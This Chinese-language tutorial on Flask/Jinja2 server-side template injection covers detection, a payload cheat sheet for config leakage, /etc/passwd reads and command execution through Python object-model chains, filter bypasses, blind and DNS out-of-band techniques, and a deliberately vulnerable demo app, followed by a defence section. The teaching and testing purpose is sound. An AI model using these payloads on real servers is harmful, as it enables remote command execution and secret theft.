ARTICLE DETAIL

资讯详情

深耕商务建站与企业官网运营的一线实战洞察。

SSTI服务端模板注入实战:从Flask原理到绕过防御

SSTI服务端模板注入实战:从Flask原理到绕过防御 第一次在CTF里碰到SSTI的人十有八九会一脸懵一条报错信息明明是jinja2.exceptions.UndefinedError怎么转手payload就能读到服务器上的文件如果你也有过这种体验那这篇应该能帮你把SSTI从听说过变成彻底搞懂。我会以Flask为例子从服务端模板注入的原理讲起把检测技巧、常见payload、过滤绕过和防御手段全部拆开一条条揉碎了讲清楚。全文面向安全测试人员、CTF玩家以及怕自己业务接口被注入的开发同学——不管你是要打题、做测试还是写代码的时候想避坑都能从这里找到想要的答案。1. SSTI到底是什么从一个翻译过程的失控说起1.1 模板引擎在帮我们翻译什么先理解正常渲染流程要理解服务端模板注入得先弄清楚模板引擎是怎么工作的。以Flask默认的Jinja2为例它的核心思路很简单把一份带占位符的文本当作模板运行时把变量填充进去生成最终的HTML或文本返回给用户。一个最最基本的例子from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)正常请求/hello/world模板引擎会解析{{ name }}这个表达式把变量name的值world填充进去返回h1Hello, world!/h1。这个流程平时没有任何问题因为模板里的表达式是开发者写死的变量的值由用户提供。但注意Jinja2在渲染时并不是简单做字符串替换而是先把模板文本编译成Python字节码再执行。换句话说模板里{{ ... }}和{% ... %}的内容本质上参与了一次代码求值。如果某部分模板内容本身就来自用户输入那这就不再是填充变量而是给了用户一个在服务器上执行Python表达式甚至命令的机会。这就是SSTI服务端模板注入Server-Side Template Injection。1.2 注入的根源用户输入被当成了代码而不是数据我见过很多朋友把SSTI和XSS搞混。两者的共同点是都会在输出层面做测试但XSS的利用目标是浏览器SSTI的利用目标是服务器本身严重程度天差地别。SSTI产生的根本原因可以总结成一句话不可信数据进入了模板编译的代码路径。常见写法是哪些最容易踩坑的就是render_template_string因为很多教程都会教新手把用户参数直接拼进模板字符串app.route(/page) def page(): tpl request.args.get(tpl, ) return render_template_string(h1 tpl /h1)也有一些框架或者快速原型项目会把整段页面源码存在数据库里由管理员或者运营人员在后台编辑再通过模板引擎渲染。如果谁能控制这段模板内容权限配置不当、数据库注入、后台逻辑漏洞效果和直接拿到命令执行是等价的。判断到底是不是SSTI最简单的思路是提交一个原本应该被当成数据的字符串结果里面如果包含了模板语法并且被当成逻辑解析并执行那这就是注入点。1.3 初步确认最小化探测payload进入实战前先记牢三类探测方法。第一种是纯算术表达式比如提交{{7*7}}如果返回49基本可以断定是Jinja2或者其他支持算术运算的模板引擎。第二种是字符串拼接提交{{ab}}如果返回ab同样能说明表达式被执行。第三种是注释或者无意义表达式看回显判断是否触发报错以及报错内容是否泄露模板引擎类型。实测中我更喜欢先提交一个{{7*7}}再提交一个${7*7}。两者结果一对比就能分辨引擎类型——Jinja2返回49而${...}在很多Java模板引擎比如FreeMarker里是标准语法。一个字符串一次性测两种引擎效率最高。但这里要提醒一句如果你提交{{7*7}}发现页面还是原样返回{{7*7}}并不代表没有SSTI有可能是模板引擎把输入做了转义也可能是输入在到达模板前就被拼接到了不该拼接的地方。这就需要进一步观察报错页面和响应差异。2. 原理追查Jinja2的变量解析和Python对象模型2.1 表达式、过滤器、全局变量Jinja2的求值规则既然要去构造payload就得先搞清楚Jinja2支持哪些语法。模板里最常见的三种结构{{ expr }}输出一个表达式的值{% statement %}执行控制流语句比如if、for{# comment #}是注释。在{{ ... }}内部我们可以使用变量、字面量、算术运算符、比较运算符、逻辑运算符还可以用管道符调用过滤器比如{{ name|upper }}。这些都是模板引擎提供给开发者的能力。但SSTI真正要用的并不只是这些常规操作而是要借助Python对象模型本身提供的能力。Jinja2有一个非常重要的特性它允许访问对象的属性和方法。写法有{{ obj.attr }}和{{ obj[attr] }}两种。表面上这只是个取值操作但一旦我们能拿到对象的内部属性比如__class__、__init__就等于拿到了通往底层的钥匙。Jinja2自带一些全局变量比如configFlask的配置对象、self当前模板上下文、request、session、g等等。其中config是最友好的信息收集目标一个{{config}}往往就能泄露SECRET_KEY、数据库连接串等敏感信息。2.2 MRO与魔术方法为什么SSTI能一路爬到系统命令现在进入最关键的部分。Python一切皆对象而对象的类型、父类、方法列表都可以通过几个魔术方法拿到__class__获取当前对象的类。__mro__返回一个元组包含当前类以及它的所有父类顺序按照方法解析顺序排列。__bases__返回当前类的直接父类。__subclasses__()返回当前类的所有直接子类列表。__init__构造函数。__globals__如果作用于某个函数返回一个字典包含该函数所在模块的全部全局变量。SSTI利用链的思路可以概括为从任何一个对象出发先拿到它的类再通过类找父类最后到达object或者某个工具类然后通过__subclasses__()拿到当前进程里所有类的列表从中挑选能够做危险操作的类。举个例子空字符串是一个字符串对象.__class__就是class str.__class__.__mro__会返回(class str, class object)。这里很多教程会直接用__mro__[1]或者__mro__[2]看起来索引值不稳定其实是因为起点对象不同索引位置可能有差异。最好的习惯是先用__mro__看看返回几个父类再选择真正指向object的那一个下标。拿到object之后调用__subclasses__()会得到当前Python解释器里已经加载的所有类的列表。这里面会有os._wrap_close、subprocess.Popen、warnings.catch_warnings、file仅Python2等一大批可以利用的类。它们都是object的直接或间接子类所以在列表里一定能找到。2.3 版本差异Python2和Python3下的不同路线这块很容易让人踩坑。Python2的object子类列表里直接有一个type file它对应的构造函数可以用来读取文件.__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()但在Python3中file类型已经不存在了同样的索引位置可能是完全不同的类必须寻找io._IOBase、io.TextIOWrapper等替代类或者直接找os相关的类来拼命令执行。实操中最稳定、最有代表性的做法是遍历子类列表用特征类名定位。比如{% for x in ().__class__.__mro__[1].__subclasses__() %} {% if os in x.__module__ %} {{ x.__module__ }}.{{ x.__name__ }} {% endif %} {% endfor %}这种思路之所以可靠是因为我们不是靠硬编码的索引位置而是靠模块路径和类名特征去匹配。在跑批量测试和写自动化脚本的时候哪怕Python小版本升级导致类列表顺序变化这套方案依然能命中只是需要额外写一点解析逻辑。3. 常用payload全梳理一条链路打到命令执行3.1 最基础的探测与信息收集我把平时用的比较高频的基础探测payload整理一下。假设注入点在render_template_string的参数里我们需要分阶段推进。第一阶段是确认。提交{{7*7}}看回显是否是49。可以是{{7*7}}这样如果引擎执行了字符串乘法结果是一连串7也能判断表达式执行了。第二阶段是信息收集。提交{{config}}如果Flask应用开启了调试或者模拟环境配置没被隐藏页面会直接显示配置字典里面可能有SECRET_KEY、数据库URI等敏感值。提交{{self}}可以得到模板对象本身的信息也有时候会顺带泄露一些全局上下文。第三阶段是定位可利用对象。一个经典payload是{{ [].__class__.__mro__[1].__subclasses__() }}这里[]是列表对象__class__拿到list__mro__[1]直接指向object再拿所有子类。输出列表可能非常长但没关系我们要的就是这份列表从里面挑能用的类。3.2 从当前对象到任意类subclasses遍历技巧真正要打命令执行我最常用的路线是这样一条{{ .__class__.__mro__[2].__subclasses__() }}这条利用的就是空字符串对象。为什么从空字符串开始因为不管是用列表、字典、还是整数对象我们最终都要回到object而写起来最短方便嵌套和拼接。问题是怎么在Payload中快速定位有用的子类手工维护一个索引是可行的但不同题目不同环境结果不同线上环境又不想每次都打印几百行。推荐两种方式。第一种是用模板自身循环遍历子类列表通过名字或模块名筛选出目标比如搜索subprocess.Popen或os._wrap_close{% set stream cycler.__init__.__globals__.os.popen %} {{ stream(id).read() }}第二种是直接在模板里遍历并且把符合条件的类一次性打印出来{% for x in ().__class__.__bases__[0].__subclasses__() %} {% if catch_warnings in x.__name__ %} {{ x.__init__.__globals__ }} {% endif %} {% endfor %}值得说明的是cycler、joiner、namespace这些都是Jinja2内置对象它们自带__init__.__globals__里面通常能直接找到os模块、__builtins__等好东西比盯着subclasses列表一条条翻要快得多。3.3 命令执行和文件读取一条链路打通命令执行的通式一般长这样核心是利用某个函数对象拿到__globals__再通过__builtins__或os去执行命令{{ .__class__.__mro__[2].__subclasses__()[position].__init__.__globals__[__builtins__][__import__](os).popen(cat /etc/passwd).read() }}position指的是目标类在__subclasses__()返回列表中的位置。比如warnings.catch_warnings类在多数环境里位置往往比较靠前可以直接用{{ .__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[__builtins__] }}拿到__builtins__以后再顺着它去找__import__或者直接访问os.popen、os.system。有一点要注意__globals__只有在作用于函数对象时才存在作用于类对象有时会报错。文件读取的路线也类似。Python3里可以用open函数通过__builtins__直接打开文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}或者找到_io.FileIO、io.TextIOWrapper等类手动实例化但那条路要传模式参数代码一长写起来就费劲。所以我一般优先打__builtins__里的内置函数如果被过滤再考虑类实例化路线。3.4 快速参考常用payload速查表为了打题和自查方便我整理了一张速查表可以直接抄但顺手记一下原理更好。目标Payload示例说明基础探测{{7*7}}返回49则说明表达式被求值Flask配置泄露{{config}}可能暴露SECRET_KEY等敏感信息获取当前对象类名{{ .__class__ }}返回str类获取object类{{ .__class__.__mro__[1] }}得到object类列出所有子类{{ [].__class__.__mro__[1].__subclasses__() }}大列表读取文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}用内置open命令执行{{ cycler.__init__.__globals__.os.popen(id).read() }}利用Jinja2内置对象全局变量命令执行备选{{ .__class__.__mro__[2].__subclasses__()[x].__init__.__globals__[__builtins__][__import__](os).popen(id).read() }}遍历定位x表里面最后一条的[x]必须根据实际环境来定这也是写自动化扫描脚本时经常要处理的一环。4. 过滤与绕过实战里真正考验人的地方4.1 常见过滤规则前文说的都是没有过滤的理想场景。真正要面对的题目或者真实系统多少会做一些WAF或参数校验。总结下来最常见的过滤类型大概有五种过滤关键字比如__class__、popen、os、过滤特殊字符_、[、]、单双引号、过滤数字、过滤{{ }}以及过滤一些内置函数名。第一种最好办用字符串拼接绕过。第二种比较头疼因为很多模板注入点在数组下标或者属性访问上都依赖[]和双下划线。第三种常见于需要传数字索引的payload可以通过模板自身的解析技巧绕过。第四种最麻烦如果连{{和{%都被转义那基本没有注入点了但很多时候它们的过滤并不完整只在输入层替换一次。4.2 经典的绕过组合先说过滤[]。不管是__getitem__还是模板自带的attr过滤器都能替代中括号下标访问。例如.__class__如果被过滤可以写成|attr(__class__)。在Jinja2里这算是最优雅的一种绕法。如果单双引号也被过滤我们可以用request.args获取URL参数让payload里不再出现引号或者下划线{{ request.args.f }}配合URL请求{{ cycler.__init__.__globals__.os.popen(request.args.cmd).read() }}cmdid如果下划线_被过滤可以用十六进制编码、Unicode编码或者通过\x5f拼接绕过。比如__class__可以写成\x5f\x5fclass\x5f\x5f在Python解释器看来\x5f就是下划线字符。不过要注意Jinja2的解析层相对严格某些编码方式在模板表达式里不一定生效实测中需要根据报错逐步调整。如果关键字os、popen被过滤可以做拼接{{ cycler.__init__.__globals__[os].popen(id).read() }}Jinja2会先做字符串拼接再去做属性访问这一步恰好能绕过很多简单的词法过滤。4.3 无回显下的盲打思路有些环境不会把模板渲染结果直接输出只返回200或404。这时候就要走盲注或者带外通道。最常用的是利用命令执行后的时间延迟比如调os.system(sleep 5)看响应时间是否明显增加用时间差确认漏洞存在。也可以用DNS外带的方式确认命令执行成功把whoami的结果拼到域名里发出去在外部记录到解析请求就说明命令已经执行。这类盲打的关键在于不能太依赖页面回显要在日志和响应时间上找信号。如果命令执行被限制也可以退而求其次先盲读文件用布尔条件来判断文件内容类似SQL注入里的盲注思路。比如在模板里判断某个文件是否存在存在就配置不同的响应。这种方案的效率不算高但属于兜底手段值得掌握。5. 本地实操搭个漏洞环境走一遍完整链路5.1 最小化漏洞应用说了这么多不如直接在本地把环境搭起来从零到一验证一遍。我用一个最简化的Flask应用来做实验代码如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, name !/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)本地跑起来以后访问/?name{{7*7}}页面返回Hello, 49!说明存在SSTI。建议加一句debugTrue好处是出错能看到详细的报错栈能直观看到模板编译发生了异常。当然生产环境千万别这么写我这是为了验证方便。5.2 走完整条利用链第一步先确认表达式执行。然后收集信息访问/?name{{config}}页面上会输出Flask配置包括SECRET_KEY。这一步往往已经能用来伪造session了如果实际测试目标有登录功能这已经是一个高危风险点。第二步先拿子类列表。访问/?name{{ [].__class__.__mro__[1].__subclasses__() }}页面会输出一大串类列表。复制下来搜索os._wrap_close或者warnings.catch_warnings记录它的索引位置。我这次本地环境里os._wrap_close出现在第226位左右但你机器上的位置很可能不同所以动态定位更重要。第三步构造命令执行payload/?name{{ [].__class__.__mro__[1].__subclasses__()[226].__init__.__globals__[os].popen(id).read() }}如果一切正常页面会输出uid...的用户信息。到这一步SSTI已经从一条报错变成了实打实的命令执行。第四步读取文件/?name{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}在Python3环境中这个payload应该能够读出文件内容。5.3 踩坑记录为什么你的payload不通我在这块踩过的坑不少总结几个高频问题。第一个是__globals__只有函数对象才有。很多人拿到某个类以后直接调.__init__.__globals__但如果这个类不继承任何函数或者__init__本身不是Python函数而是内置函数就会返回AttributeError或者得到预期之外的结果。解决方法是尽量选择诸如warnings.catch_warnings.__init__这种由Python实现的方法来访问。第二个是__subclasses__()返回的子类列表位置不稳定。同一个应用稍微改一条import语句、换一个Python小版本列表就会变。写扫描器或者写exp的时候不要硬编码索引应该用模块名和类名做匹配。第三个是模板里直接使用[]方式访问字典有时会触发Jinja2的解析规则。Jinja2允许__globals__[os]这种写法但某些版本对__globals__[__builtins__]这种双下划线键名解析有差异建议遇到报错时换成|attr过滤器或者用.__builtins__直接访问属性。第四个很隐蔽{{config}}能输出不等于{{config.__class__}}也能输出。Flask的config对象继承自字典但有些版本里直接访问它的__init__会拿到一个纯内部的构造器里面没有__globals__。很多时候要绕一下先走config.__class__.__mro__找到object再按老路子走。6. 怎么防给同样在被SSTI困扰的人6.1 代码层的防御思路防御SSTI最核心的一条就是永远不要把模板字符串的来源交给用户控制。如果你非要动态渲染那至少要做到用户输入只作为变量的值传给模板而不是作为模板文本本身。正确的Flask写法是这样的app.route(/hello/name) def hello(name): return render_template_string(h1Hello, {{ name }}!/h1, namename)这样用户输入哪怕包含{{7*7}}也只会被当作字符串值渲染输出而不会被当成模板逻辑执行。另一个建议是尽量使用render_template去加载独立的模板文件少用render_template_string。哪怕动态拼模板也一定不要直接拼用户数据。如果需要给用户提供有限的模板能力可以考虑用Jinja2沙箱从环境配置上禁用危险的函数和属性访问。但要注意纯靠沙箱拦不住所有情况因为模板引擎本身提供的对象已经足够丰富一旦某个全局对象能被访问攻击者可能从它身上绕回危险函数。所以沙箱只能作为辅助不能当作唯一防线。6.2 配置与运维加固除了代码层面运维和框架配置也要跟上。比如把Flask的DEBUG模式关闭避免报错页面泄露堆栈信息生产环境不要暴露模板源码路径给Web应用单独设置低权限用户别用root跑应用让它即使被攻破也没办法读取太多敏感文件对外部输入做输入长度限制比如限制单参数长度虽然不能从根本上防注入但能明显增加攻击成本。另一种更稳妥的隔离思路是让模板渲染层和业务代码完全分离。模板内容放在独立的文件甚至单独的服务里不允许业务接口直接传模板字符串。很多大型项目会直接用前端框架渲染页面后端只返回JSON这样SSTI的攻击面自然就小了很多。6.3 常见问题排查速查现象可能原因解决思路{{7*7}}原样输出输入被转义或未进入模板表达式检查渲染位置、过滤逻辑{{7*7}}输出49但{{config}}报错全局变量被禁用用self或request等替代__subclasses__()返回空沙箱拦截换一条链子比如从cycler入手__globals__访问报错目标不是函数对象换一个函数型初始化器来访问命令执行失败但探测成功被过滤了或目标类无权限考虑盲打、绕过、或者换用文件读取页面返回500Payload语法或类型错误用本地Jinja2环境逐段调试排查的时候我习惯先在本地装一个同版本的Jinja2把payload扔进render_template_string里做最小化验证确认语法没有问题再上目标。这比直接在目标机上试错要稳得多。我个人踩过几轮之后的体会是SSTI的利用链确实灵活得可怕但只要把握住数据不入模板编译路径这条底线防御思路其实非常简单。对开发者来说写每行模板渲染代码时都多想一步这个输入会不会被当成代码执行对测试人员来说先确保自己理解了Jinja2的求值顺序和Python对象模型再动手去打payload才能做到弹无虚发。安全这东西很多时候差的真不是技巧是那一层再往下挖一层的意识。
返回列表
PREV
查看更多资讯
NEXT
返回资讯列表